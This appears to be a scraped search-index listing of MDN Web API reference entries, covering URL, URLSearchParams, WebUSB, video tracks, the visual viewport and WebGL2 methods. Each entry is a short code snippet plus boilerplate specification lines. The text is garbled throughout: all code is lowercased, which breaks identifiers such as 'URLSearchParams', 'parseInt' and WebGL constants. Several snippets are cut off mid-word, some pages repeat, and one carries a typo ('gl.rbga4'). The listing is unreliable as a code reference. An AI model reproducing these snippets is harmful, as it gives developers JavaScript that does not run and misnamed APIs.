URL.revokeObjectURL() - Web APIs
specification specification status comment file apithe definition of 'revokeobjecturl()' in that specification.
URL.search - Web APIs
WebAPIURLsearch
examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.search - Web APIs
WebAPIURLsearch?q=123
examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.searchParams - Web APIs
WebAPIURLsearchParams
let age = parseint(params.get('age')); // is the number 18 specifications specification status comment urlthe definition of 'searchparams' in that specification.
URL.toJSON() - Web APIs
WebAPIURLtoJSON
examples const url = new url("/docs/web/api/url/tostring"); url.tojson(); // should return the url as a string specifications specification status comment urlthe definition of 'tojson()' in that specification.
URL.toString() - Web APIs
WebAPIURLtoString
examples const url = new url("/docs/web/api/url/tostring"); url.tostring(); // should return the url as a string specifications specification status comment urlthe definition of 'stringifier' in that specification.
URL.username - Web APIs
WebAPIURLusername
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/username'); console.log(url.username) // logs "anonymous" specifications specification status comment urlthe definition of 'username' in that specification.
URL - Web APIs
WebAPIURL
const response = await fetch(new url('http://www.example.com/démonstration.html')); specifications specification status comment file apithe definition of 'url' in that specification.
URLSearchParams() - Web APIs
new urlsearchparams(url.search); // pass in a string literal var params2 = new urlsearchparams("foo=1&bar=2"); var params2a = new urlsearchparams("?foo=1&bar=2"); // pass in a sequence of pairs var params3 = new urlsearchparams([["foo", "1"], ["bar", "2"]]); // pass in a record var params4 = new urlsearchparams({"foo": "1", "bar": "2"}); specifications specification status comment urlthe definition of 'urlsearchparams()' in that specification.
URLSearchParams.append() - Web APIs
params.append('foo', 4); //query string is now: 'foo=1&bar=2&foo=4' specifications specification status comment urlthe definition of 'append()' in that specification.
URLSearchParams.delete() - Web APIs
params.delete('foo'); //query string is now: 'bar=2' specifications specification status comment urlthe definition of 'delete()' in that specification.
URLSearchParams.entries() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification.
URLSearchParams.forEach() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'foreach() (see "iterable")' in that specification.
URLSearchParams.get() - Web APIs
e' parameters using: let params = new urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment urlthe definition of 'get()' in that specification.
URLSearchParams.getAll() - Web APIs
specifications specification status comment urlthe definition of 'getall()' in that specification.
URLSearchParams.has() - Web APIs
examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification.
URLSearchParams.keys() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification.
URLSearchParams.sort() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification.
URLSearchParams.toString() - Web APIs
params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let url = new url('https://example.com?foo=1&bar=2'); let params = url.searchparams; // or even simpler let params = new urlsearchparams('foo=1&bar=2'); specifications specification status comment urlthe definition of 'tostring() (see "stringifier")' in that specification.
URLSearchParams.values() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification.
URLSearchParams - Web APIs
om/search?query"); // "@" (equivalent to decodeuricomponent('%40')) var paramsstring2 = "?query=value"; var searchparams2 = new urlsearchparams(paramsstring2); searchparams2.has("query"); // true var url = new url("http://example.com/search?query=%40"); var searchparams3 = new urlsearchparams(url.search); searchparams3.has("query") // true specifications specification status comment urlthe definition of 'urlsearchparams' in that specification.
URLUtilsReadOnly.hash - Web APIs
syntax string = object.hash; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.hash#example var result = window.self.hash; // returns:'#hash' specifications specification status comment urlthe definition of 'urlutilsreadonly.hash' in that specification.
URLUtilsReadOnly.host - Web APIs
syntax string = object.host; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.host var result = window.self.host; // returns:'developer.mozilla.org:80' specifications specification status comment urlthe definition of 'urlutilsreadonly.host' in that specification.
URLUtilsReadOnly.hostname - Web APIs
syntax string = object.hostname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.hostname var result = window.self.hostname; // returns:'developer.mozilla.org' specifications specification status comment urlthe definition of 'urlutilsreadonly.hostname' in that specification.
URLUtilsReadOnly.href - Web APIs
syntax string = object.href; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.href; // returns:'https://developer.mozilla.org/urlutilsreadonly.href' specifications specification status comment urlthe definition of 'urlutilsreadonly.href' in that specification.
URLUtilsReadOnly.origin - Web APIs
syntax string = object.origin; examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification.
URLUtilsReadOnly.pathname - Web APIs
syntax string = object.pathname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.pathname var result = window.self.pathname; // returns:'/urlutilsreadonly.pathname' specifications specification status comment urlthe definition of 'urlutilsreadonly.pathname' in that specification.
URLUtilsReadOnly.port - Web APIs
syntax string = object.port; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.port var result = window.self.port; // returns:'80' specifications specification status comment urlthe definition of 'urlutilsreadonly.port' in that specification.
URLUtilsReadOnly.protocol - Web APIs
syntax string = object.protocol; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.protocol; // returns:'https:' specifications specification status comment urlthe definition of 'urlutilsreadonly.protocol' in that specification.
URLUtilsReadOnly.search - Web APIs
syntax string = object.search; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.href?t=67 var result = window.self.search; // returns:'?t=67' specifications specification status comment urlthe definition of 'urlutilsreadonly.search' in that specification.
URL API - Web APIs
WebAPIURL API
specifications specification status comment url living standard whatwg specification ...
USB.getDevices() - Web APIs
WebAPIUSBgetDevices
navigator.usb.getdevices() .then(devices => { console.log("total devices: " + devices.length); devices.foreach(device => { console.log("product name: " + device.productname + ", serial number " + device.serialnumber); }); }); specifications specification status comment webusbthe definition of 'getdevices' in that specification.
USB.onconnect - Web APIs
WebAPIUSBonconnect
syntax usb.onconnect = connectfunction specifications specification status comment webusbthe definition of 'onconnect' in that specification.
USB.ondisconnect - Web APIs
WebAPIUSBondisconnect
syntax usb.ondisconnect = disconnectfunction specifications specification status comment webusbthe definition of 'ondisconnect' in that specification.
USB.requestDevice() - Web APIs
WebAPIUSBrequestDevice
" + e); }); specifications specification status comment webusbthe definition of 'requestdevice' in that specification.
USB - Web APIs
WebAPIUSB
specifications specification status comment webusbthe definition of 'usb' in that specification.
USBAlternateInterface - Web APIs
specifications specification status comment webusbthe definition of 'usbalternateinterface' in that specification.
USBConfiguration.USBConfiguration() - Web APIs
specifications specification status comment unknownthe definition of 'usbconfiguration' in that specification.
USBConfiguration.configurationName - Web APIs
specifications specification status comment unknownthe definition of 'configurationname' in that specification.
USBConfiguration.configurationValue - Web APIs
specifications specification status comment unknownthe definition of 'configurationvalue' in that specification.
USBConfiguration.interfaces - Web APIs
specifications specification status comment unknownthe definition of 'interfaces' in that specification.
USBConfiguration - Web APIs
specifications specification status comment webusbthe definition of 'usbconfiguration' in that specification.
USBDevice.deviceClass - Web APIs
specifications specification status comment webusbthe definition of 'deviceclass' in that specification.
USBDevice.claimInterface() - Web APIs
async function connectdevice(usbdevice) { await usbdevice.open(); if (usbdevice.configuration === null) await usbdevice.selectconfiguration(1); await usbdevice.claiminterface(0); } specifications specification status comment webusbthe definition of 'claiminterface()' in that specification.
USBDevice.clearHalt() - Web APIs
clearing.'); await device.clearhalt('in', 1); } } specifications specification status comment webusbthe definition of 'clearhalt()' in that specification.
USBDevice.close() - Web APIs
WebAPIUSBDeviceclose
specifications specification status comment webusbthe definition of 'close()' in that specification.
USBDevice.configuration - Web APIs
async function connectdevice(usbdevice) { await usbdevice.open(); if (usbdevice.configuration === null) await usbdevice.selectconfiguration(1); await usbdevice.claiminterface(0); } specifications specification status comment webusbthe definition of 'configuration' in that specification.
USBDevice.configurations - Web APIs
specifications specification status comment webusbthe definition of 'configurations' in that specification.
USBDevice.deviceClass - Web APIs
specifications specification status comment webusbthe definition of 'deviceclass' in that specification.
USBDevice.deviceProtocol - Web APIs
specifications specification status comment webusbthe definition of 'deviceprotocol' in that specification.
USBDevice.deviceSubclass - Web APIs
specifications specification status comment webusbthe definition of 'devicesubclass' in that specification.
USBDevice.deviceVersionMajor - Web APIs
specifications specification status comment webusbthe definition of 'deviceversionmajor' in that specification.
USBDevice.deviceVersionMinor - Web APIs
specifications specification status comment webusbthe definition of 'deviceversionminor' in that specification.
USBDevice.deviceVersionSubminor - Web APIs
specifications specification status comment webusbthe definition of 'deviceversionsubminor' in that specification.
USBDevice.isochronousTransferIn() - Web APIs
return value a promise that resolves with a usbisochronousintransferresult specifications specification status comment webusbthe definition of 'isochronoustransferin()' in that specification.
USBDevice.isochronousTransferOut() - Web APIs
specifications specification status comment webusbthe definition of 'isochronoustransferout()' in that specification.
USBDevice.manufacturerName - Web APIs
specifications specification status comment webusbthe definition of 'manufacturername' in that specification.
USBDevice.open() - Web APIs
WebAPIUSBDeviceopen
specifications specification status comment webusbthe definition of 'open()' in that specification.
USBDevice.opened - Web APIs
WebAPIUSBDeviceopened
let payload = new uint8array([r, g, b]); await usbdevice.controltransferout({ requesttype: 'vendor', recipient: 'device', request: 1, value: 0, index: 0, }, payload); } } specifications specification status comment webusbthe definition of 'opened' in that specification.
USBDevice.productID - Web APIs
specifications specification status comment webusbthe definition of 'productid' in that specification.
USBDevice.productName - Web APIs
specifications specification status comment webusbthe definition of 'productname' in that specification.
USBDevice.releaseInterface() - Web APIs
specifications specification status comment webusbthe definition of 'releaseinterface()' in that specification.
USBDevice.reset() - Web APIs
WebAPIUSBDevicereset
specifications specification status comment webusbthe definition of 'reset()' in that specification.
USBDevice.selectAlternateInterface() - Web APIs
specifications specification status comment webusbthe definition of 'selectalternateinterface()' in that specification.
USBDevice.selectConfiguration() - Web APIs
specifications specification status comment webusbthe definition of 'selectconfiguration' in that specification.
USBDevice.serialNumber - Web APIs
syntax var serialnumber = usbdevice.serialnumber value the serial number for the specified usb device specifications specification status comment webusbthe definition of 'serialnumber' in that specification.
USBDevice.transferIn() - Web APIs
specifications specification status comment webusbthe definition of 'transferin()' in that specification.
USBDevice.transferOut() - Web APIs
specifications specification status comment webusbthe definition of 'transferout()' in that specification.
USBDevice.usbVersionMajor - Web APIs
specifications specification status comment webusbthe definition of 'usbversionmajor' in that specification.
USBDevice.usbVersionMinor - Web APIs
specifications specification status comment webusbthe definition of 'usbversionminor' in that specification.
USBDevice.usbVersionSubminor - Web APIs
specifications specification status comment webusbthe definition of 'usbversionsubminor' in that specification.
USBDevice.vendorID - Web APIs
specifications specification status comment webusbthe definition of 'vendorid' in that specification.
USBEndpoint - Web APIs
if (endpoint.type != "bulk") { continue; } if (endpoint.direction == "in") { inendpoint = endpoint.endpointnumber; } else if (endpoint.direction == "out") { outendpoint = endpoint.endpointnumber; } } } specifications specification status comment webusbthe definition of 'usbendpoint' in that specification.
USBInTransferResult - Web APIs
specifications specification status comment webusbthe definition of 'usbintransferresult' in that specification.
USBIsochronousInTransferPacket - Web APIs
specifications specification status comment webusbthe definition of 'usbisochronousintransferpacket' in that specification.
USBIsochronousInTransferResult - Web APIs
specifications specification status comment webusbthe definition of 'usbisochronousintransferresult' in that specification.
USBIsochronousOutTransferPacket - Web APIs
specifications specification status comment webusbthe definition of 'usbisochronousouttransferpacket' in that specification.
USBIsochronousOutTransferResult - Web APIs
specifications specification status comment webusbthe definition of 'usbisochronousouttransferresult' in that specification.
USBOutTransferResult - Web APIs
specifications specification status comment webusbthe definition of 'usbouttransferresult' in that specification.
UserDataHandler - Web APIs
summary when associating user data with a key on a node, node.setuserdata() can also accept, in its third argument, a handler which will be called when the object is cloned, imported, deleted, renamed, or adopted.
VRStageParameters - Web APIs
ort room-scale experiences.' } else { info.innerhtml = '<strong>display stage parameters</strong>' + '<br>sitting to standing transform: ' + stageparams.sittingtostandingtransform + '<br>play area width (m): ' + stageparams.sizex + '<br>play area depth (m): ' + stageparams.sizey } }); specifications specification status comment webvr 1.1the definition of 'vrstageparameters' in that specification.
VTTCue - Web APIs
WebAPIVTTCue
specifications specification status comment webvtt: the web video text tracks format candidate recommendation ...
VTTRegion - Web APIs
WebAPIVTTRegion
specifications specification status comment webvtt: the web video text tracks format candidate recommendation ...
Vibration API - Web APIs
specifications specification status comment vibration api recommendation linked to spec is the latest editor's draft; w3c version is a rec.
VideoConfiguration - Web APIs
} }; specifications specification status comment media capabilitiesthe definition of 'videoconfiguration' in that specification.
VideoPlaybackQuality.corruptedVideoFrames - Web APIs
var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if (quality.corruptedvideoframes/quality.totalvideoframes > 0.05) { downgradevideo(videoelem); } specifications specification status comment media playback qualitythe definition of 'videoplaybackquality: corruptedvideoframes' in that specification.
VideoPlaybackQuality.creationTime - Web APIs
var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if ((quality.corruptedvideoframes + quality.droppedvideoframes)/quality.totalvideoframes > 0.1) { lostframesthresholdexceeded(); } specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.corruptedvideoframes' in that specification.
VideoPlaybackQuality.droppedVideoFrames - Web APIs
var videoelem = document.getelementbyid("my_vid"); var percentelem = document.getelementbyid("percent"); var quality = videoelem.getvideoplaybackquality(); var droppercent = (quality.droppedvideoframes/quality.totalvideoframes)*100; percentelem.innertext = math.trunc(droppercent).tostring(10); specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.droppedvideoframes' in that specification.
VideoPlaybackQuality.totalVideoFrames - Web APIs
specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.totalvideoframes' in that specification.
VideoPlaybackQuality - Web APIs
specifications specification status comment media playback qualitythe definition of 'videoplaybackquality' in that specification.
VideoTrack.id - Web APIs
WebAPIVideoTrackid
specifications specification status comment html living standardthe definition of 'videotrack: id' in that specification.
Videotrack.language - Web APIs
specifications specification status comment html living standardthe definition of 'videotrack: language' in that specification.
VideoTrack.selected - Web APIs
specifications specification status comment html living standardthe definition of 'videotrack: selected' in that specification.
getTrackById - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist.gettrackbyid()' in that specification.
VideoTrackList.length - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist: length' in that specification.
VideoTrackList.onaddtrack - Web APIs
document.queryselector("video").videotracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'videotracklist: onaddtrack' in that specification.
VideoTrackList.onchange - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist: onchange' in that specification.
VideoTrackList.onremovetrack - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist: onremovetrack' in that specification.
VideoTrackList.selectedIndex - Web APIs
specifications specification status comment html living standardthe definition of 'videotracklist: selectedindex' in that specification.
VideoTrackList - Web APIs
videotracks.onaddtrack = updatetrackcount; videotracks.onremovetrack = updatetrackcount; function updatetrackcount(event) { trackcount = videotracks.length; drawtrackcountindicator(trackcount); } specifications specification status comment html living standardthe definition of 'videotracklist' in that specification.
VisualViewport.height - Web APIs
specifications specification status comment visual viewport apithe definition of 'height' in that specification.
VisualViewport.offsetTop - Web APIs
specifications specification status comment visual viewport apithe definition of 'offsettop' in that specification.
VisualViewport.offsetleft - Web APIs
specifications specification status comment visual viewport apithe definition of 'offsetleft' in that specification.
VisualViewport.onresize - Web APIs
} specifications specification status comment visual viewport apithe definition of 'onresize' in that specification.
VisualViewport.onscroll - Web APIs
} specifications specification status comment visual viewport apithe definition of 'onscroll' in that specification.
VisualViewport.pageLeft - Web APIs
specifications specification status comment visual viewport apithe definition of 'pageleft' in that specification.
VisualViewport.pageTop - Web APIs
specifications specification status comment visual viewport apithe definition of 'pagetop' in that specification.
VisualViewport: resize event - Web APIs
}; specifications specification status comment visual viewport apithe definition of 'visualviewport events' in that specification.
VisualViewport.scale - Web APIs
specifications specification status comment visual viewport apithe definition of 'scale' in that specification.
VisualViewport: scroll event - Web APIs
}; specifications specification status comment visual viewport apithe definition of 'visualviewport events' in that specification.
VisualViewport.width - Web APIs
specifications specification status comment visual viewport apithe definition of 'width' in that specification.
VisualViewport - Web APIs
specifications specification status comment visual viewport apithe definition of 'visualviewport' in that specification.
Visual Viewport API - Web APIs
e.transform = 'translate(' + offsetleft + 'px,' + offsettop + 'px) ' + 'scale(' + 1/viewport.scale + ')' }) } window.visualviewport.addeventlistener('scroll', viewporthandler); window.visualviewport.addeventlistener('resize', viewporthandler); specifications specification status comment visual viewport apithe definition of 'visualviewport' in that specification.
WEBGL_compressed_texture_etc - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_etc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba8_etc2_eac, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_etcthe definition of 'webgl_compressed_texture_etc' in that specification.
WEBGL_compressed_texture_etc1 - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_etc1'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_etc1_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_etc1the definition of 'webgl_compressed_texture_etc1' in that specification.
WEBGL_compressed_texture_pvrtc - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_pvrtc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_pvrtc_4bppv1_img, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_pvrtcthe definition of 'webgl_compressed_texture_pvrtc' in that specification.
WakeLockSentinel.release() - Web APIs
wakelockoffbutton.addeventlistener('click', () => { wakelocksentinel.release(); }) specifications specification status comment screen wake lock apithe definition of 'release()' in that specification.
WaveShaperNode.WaveShaperNode() - Web APIs
specifications specification status comment web audio apithe definition of 'waveshapernode()' in that specification.
WebGL2RenderingContext.beginTransformFeedback() - Web APIs
examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); gl.begintransformfeedback(gl.triangles); gl.drawarrays(gl.triangles, 0, 3); specifications specification status comment webgl 2.0the definition of 'begintransformfeedback' in that specification.
WebGL2RenderingContext.bindBufferBase() - Web APIs
examples gl.bindbufferbase(gl.transform_feedback_buffer, 0, buffer); specifications specification status comment webgl 2.0the definition of 'bindbufferbase' in that specification.
WebGL2RenderingContext.bindBufferRange() - Web APIs
examples gl.bindbufferrange(gl.transform_feedback_buffer, 1, buffer, 0, 4); specifications specification status comment webgl 2.0the definition of 'bindbufferrange' in that specification.
WebGL2RenderingContext.bindSampler() - Web APIs
examples var sampler = gl.createsampler(); gl.bindsampler(0, sampler); specifications specification status comment webgl 2.0the definition of 'bindsampler' in that specification.
WebGL2RenderingContext.bindTransformFeedback() - Web APIs
examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); specifications specification status comment webgl 2.0the definition of 'bindtransformfeedback' in that specification.
WebGL2RenderingContext.bindVertexArray() - Web APIs
specifications specification status comment webgl 2.0the definition of 'bindvertexarray' in that specification.
WebGL2RenderingContext.blitFramebuffer() - Web APIs
examples gl.blitframebuffer(0, 0, canvas.width, canvas.height, 0, 0, canvas.width, canvas.height, gl.color_buffer_bit, gl.nearest); specifications specification status comment webgl 2.0the definition of 'blitframebuffer' in that specification.
WebGL2RenderingContext.clearBuffer[fiuv]() - Web APIs
examples gl.clearbufferiv(gl.color, 0, new int32array([r, g, b, a])); gl.clearbufferuiv(gl.color, 0, new uint32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0, new float32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0, [0.0, 0.0, 0.0, 0.0]); gl.clearbufferfi(gl.depth_stencil, 0, 1.0, 0); specifications specification status comment webgl 2.0the definition of 'clearbuffer[fiuv]()' in that specification.
WebGL2RenderingContext.compressedTexSubImage3D() - Web APIs
examples gl.compressedtexsubimage3d(gl.texture_3d, 0, 0, 0, 512, 512, 512, gl.compressed_r11_eac, texturedata); specifications specification status comment webgl 2.0the definition of 'compressedtexsubimage3d' in that specification.
WebGL2RenderingContext.copyBufferSubData() - Web APIs
* 4; gl.bindbuffer(gl.array_buffer, srcbuffer); gl.bufferdata(gl.array_buffer, data, gl.static_draw); gl.bindbuffer(gl.copy_read_buffer, srcbuffer); gl.bindbuffer(gl.array_buffer, dstbuffer); gl.bufferdata(gl.array_buffer, new float32array(length), gl.static_draw); gl.copybuffersubdata(gl.copy_read_buffer, gl.array_buffer, 0, 0, length); specifications specification status comment webgl 2.0the definition of 'copybuffersubdata' in that specification.
WebGL2RenderingContext.copyTexSubImage3D() - Web APIs
examples gl.copytexsubimage3d(gl.texture_3d, 0, 0, 0, 0, 0, 0, 16, 16); specifications specification status comment webgl 2.0the definition of 'copytexsubimage3d' in that specification.
WebGL2RenderingContext.createQuery() - Web APIs
var query = gl.createquery(); specifications specification status comment webgl 2.0the definition of 'createquery' in that specification.
WebGL2RenderingContext.createSampler() - Web APIs
var sampler = gl.createsampler(); specifications specification status comment webgl 2.0the definition of 'createsampler' in that specification.
WebGL2RenderingContext.createTransformFeedback() - Web APIs
var transformfeedback = gl.createtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'createtransformfeedback' in that specification.
WebGL2RenderingContext.createVertexArray() - Web APIs
specifications specification status comment webgl 2.0the definition of 'createvertexarray' in that specification.
WebGL2RenderingContext.deleteQuery() - Web APIs
gl.deletequery(query); specifications specification status comment webgl 2.0the definition of 'deletequery' in that specification.
WebGL2RenderingContext.deleteSampler() - Web APIs
gl.deletesampler(sampler); specifications specification status comment webgl 2.0the definition of 'deletesampler' in that specification.
WebGL2RenderingContext.deleteTransformFeedback() - Web APIs
gl.deletetransformfeedback(transformfeedback); specifications specification status comment webgl 2.0the definition of 'deletetransformfeedback' in that specification.
WebGL2RenderingContext.deleteVertexArray() - Web APIs
gl.deletevertexarray(vao); specifications specification status comment webgl 2.0the definition of 'deletevertexarray' in that specification.
WebGL2RenderingContext.drawArraysInstanced() - Web APIs
examples gl.drawarraysinstanced(gl.points, 0, 8, 4); specifications specification status comment webgl 2.0the definition of 'drawarraysinstanced' in that specification.
WebGL2RenderingContext.drawBuffers() - Web APIs
examples gl.drawbuffers([gl.none, gl.color_attachment1]); specifications specification status comment webgl 2.0the definition of 'drawbuffers' in that specification.
WebGL2RenderingContext.drawElementsInstanced() - Web APIs
examples gl.drawelementsinstanced(gl.points, 2, gl.unsigned_short, 0, 4); specifications specification status comment webgl 2.0the definition of 'drawelementsinstanced' in that specification.
WebGL2RenderingContext.drawRangeElements() - Web APIs
examples gl.drawrangeelements(gl.points, 0, 7, 8, gl.unsigned_byte, 0); specifications specification status comment webgl 2.0the definition of 'drawrangeelements' in that specification.
WebGL2RenderingContext.endTransformFeedback() - Web APIs
examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); gl.begintransformfeedback(gl.triangles); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'endtransformfeedback' in that specification.
WebGL2RenderingContext.framebufferTextureLayer() - Web APIs
examples gl.framebuffertexturelayer(gl.framebuffer, gl.color_attachment0, texture, 0, 8); specifications specification status comment webgl 2.0the definition of 'framebuffertexturelayer' in that specification.
WebGL2RenderingContext.getActiveUniformBlockName() - Web APIs
examples var blockname = gl.getactiveuniformblockname(program, 0); specifications specification status comment webgl 2.0the definition of 'getactiveuniformblockname' in that specification.
WebGL2RenderingContext.getActiveUniformBlockParameter() - Web APIs
examples var blocksize = gl.getactiveuniformblockparameter(program, blockindex, gl.uniform_block_data_size); specifications specification status comment webgl 2.0the definition of 'getactiveuniformblockparameter' in that specification.
WebGL2RenderingContext.getActiveUniforms() - Web APIs
examples var uniformindices = gl.getuniformindices(program, ['ubored', 'ubogreen', 'uboblue']); var uniformoffsets = gl.getactiveuniforms(program, uniformindices, gl.uniform_offset); specifications specification status comment webgl 2.0the definition of 'getactiveuniforms' in that specification.
WebGL2RenderingContext.getBufferSubData() - Web APIs
examples var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array(vertices), gl.static_draw); var arrbuffer = new arraybuffer(vertices.length * float32array.bytes_per_element); gl.getbuffersubdata(gl.array_buffer, 0, arrbuffer); specifications specification status comment webgl 2.0the definition of 'getbuffersubdata' in that specification.
WebGL2RenderingContext.getFragDataLocation() - Web APIs
examples // program is a linked webglprogram gl.getfragdatalocation(program, 'fragcolor'); specifications specification status comment webgl 2.0the definition of 'getfragdatalocation' in that specification.
WebGL2RenderingContext.getIndexedParameter() - Web APIs
examples var binding = gl.getindexedparameter(gl.transform_feedback_buffer_binding, 0); specifications specification status comment webgl 2.0the definition of 'getindexedparameter' in that specification.
WebGL2RenderingContext.getInternalformatParameter() - Web APIs
examples var samples = gl.getinternalformatparameter(gl.renderbuffer, gl.rgba8, gl.samples); specifications specification status comment webgl 2.0the definition of 'getinternalformatparameter' in that specification.
WebGL2RenderingContext.getQueryParameter() - Web APIs
examples var query = gl.createquery(); gl.beginquery(gl.any_samples_passed, query); var result = gl.getqueryparameter(query, gl.query_result); specifications specification status comment webgl 2.0the definition of 'getqueryparameter' in that specification.
WebGL2RenderingContext.getSamplerParameter() - Web APIs
examples var sampler = gl.createsampler(); gl.getsamplerparameter(sampler, gl.texture_compare_func); specifications specification status comment webgl 2.0the definition of 'getsamplerparameter' in that specification.
WebGL2RenderingContext.getTransformFeedbackVarying() - Web APIs
examples activeinfo = gl.gettransformfeedbackvarying(program, 0); specifications specification status comment webgl 2.0the definition of 'gettransformfeedbackvarying' in that specification.
WebGL2RenderingContext.getUniformBlockIndex() - Web APIs
examples // assuming a shader with the following declaration: // uniform ubodata { // mat4 foo; // } instancename; // use the block name, not the instance name: var blockindex = gl.getuniformblockindex(program, 'ubodata'); specifications specification status comment webgl 2.0the definition of 'getuniformblockindex' in that specification.
WebGL2RenderingContext.getUniformIndices() - Web APIs
examples var uniformindices = gl.getuniformindices(program, ['ubored', 'ubogreen', 'uboblue']); specifications specification status comment webgl 2.0the definition of 'getuniformindices' in that specification.
WebGL2RenderingContext.invalidateFramebuffer() - Web APIs
examples gl.invalidateframebuffer(gl.read_framebuffer, [gl.color_attachment0, gl.color_attachment1]); specifications specification status comment webgl 2.0the definition of 'invalidateframebuffer' in that specification.
WebGL2RenderingContext.invalidateSubFramebuffer() - Web APIs
examples gl.invalidatesubframebuffer(gl.read_framebuffer, [gl.color_attachment0, gl.color_attachment1], 0, 0, 256, 256); specifications specification status comment webgl 2.0the definition of 'invalidatesubframebuffer' in that specification.
WebGL2RenderingContext.isQuery() - Web APIs
gl.isquery(query); specifications specification status comment webgl 2.0the definition of 'isquery' in that specification.
WebGL2RenderingContext.isSampler() - Web APIs
gl.issampler(sampler); specifications specification status comment webgl 2.0the definition of 'issampler' in that specification.
WebGL2RenderingContext.isTransformFeedback() - Web APIs
gl.istransformfeedback(transformfeedback); specifications specification status comment webgl 2.0the definition of 'istransformfeedback' in that specification.
WebGL2RenderingContext.isVertexArray() - Web APIs
gl.isvertexarray(vao); specifications specification status comment webgl 2.0the definition of 'isvertexarray' in that specification.
WebGL2RenderingContext.pauseTransformFeedback() - Web APIs
gl.resumetransformfeedback(); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'pausetransformfeedback' in that specification.
WebGL2RenderingContext.readBuffer() - Web APIs
examples gl.readbuffer(gl.color_attachment0); specifications specification status comment webgl 2.0the definition of 'readbuffer' in that specification.
WebGL2RenderingContext.renderbufferStorageMultisample() - Web APIs
examples gl.renderbufferstoragemultisample(gl.renderbuffer, 4, gl.rbga4, 256, 256); specifications specification status comment webgl 2.0the definition of 'glrenderbufferstoragemultisample' in that specification.
WebGL2RenderingContext.resumeTransformFeedback() - Web APIs
gl.resumetransformfeedback(); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'resumetransformfeedback' in that specification.
WebGL2RenderingContext.texImage3D() - Web APIs
